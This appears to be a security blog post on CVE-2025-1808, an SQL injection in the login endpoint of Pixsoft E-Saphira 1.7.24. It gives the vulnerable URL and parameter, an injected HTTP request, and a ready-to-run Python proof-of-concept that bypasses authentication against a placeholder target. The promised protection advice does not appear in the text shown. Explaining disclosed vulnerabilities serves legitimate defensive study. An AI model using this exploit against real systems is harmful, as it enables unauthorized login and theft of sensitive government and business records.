CVE-2025-1808 is a serious SQL Injection vulnerability discovered in Pixsoft E-Saphira version 1.7.24, affecting the login functionality. In this post, we will break down what this vulnerability is, how it works, how attackers can exploit it, and how you can protect your systems. Real example code, references, and exclusive analysis are all included.
Background: What is Pixsoft E-Saphira?
Pixsoft E-Saphira is a business management software widely used in Latin America, especially in government administration and large commercial organizations. Its web interface allows users to manage records, financial information, and other sensitive data.
Component: Login Endpoint
- Vulnerable URL: /servlet?act=login&tipo=1
Type: SQL Injection
- Attack Vector: Remote/Network
How the Vulnerability Works
The application's login interface at /servlet?act=login&tipo=1 processes input from users via the txtUsuario parameter (user name). An attacker can inject malicious SQL code here, because proper input sanitization and parameterized queries are not enforced.
Any user trying to log in submits a POST request like
POST /servlet?act=login&tipo=1 HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
txtUsuario=admin&txtContrasena=secret
An attacker can change txtUsuario like this
POST /servlet?act=login&tipo=1 HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
txtUsuario=admin' OR 1=1--&txtContrasena=any
The server receives
SELECT * FROM usuarios WHERE usuario = 'admin' OR 1=1--' AND contrasena = 'any'
Because 1=1 always evaluates as true, the attacker can bypass authentication and log in as the first user in the database, likely with administrative privileges.
Below is a simple Python proof-of-concept using requests library to exploit the issue
import requests
url = "http://victim-site.com/servlet?act=login&tipo=1";
payload = "admin' OR 1=1--"
data = {
"txtUsuario": payload,
"txtContrasena": "irrelevant"
}
session = requests.Session()
response = session.post(url, data=data)
print("Status code:", response.status_code)
print("Response body:")
print(response.text)
*Change victim-site.com to your target address for testing purposes (with permission).*
Authentication bypass: Attackers can log in as any user, including admin.
- Full database access: By modifying the injection, attackers can dump sensitive data, modify records, or gain further access.
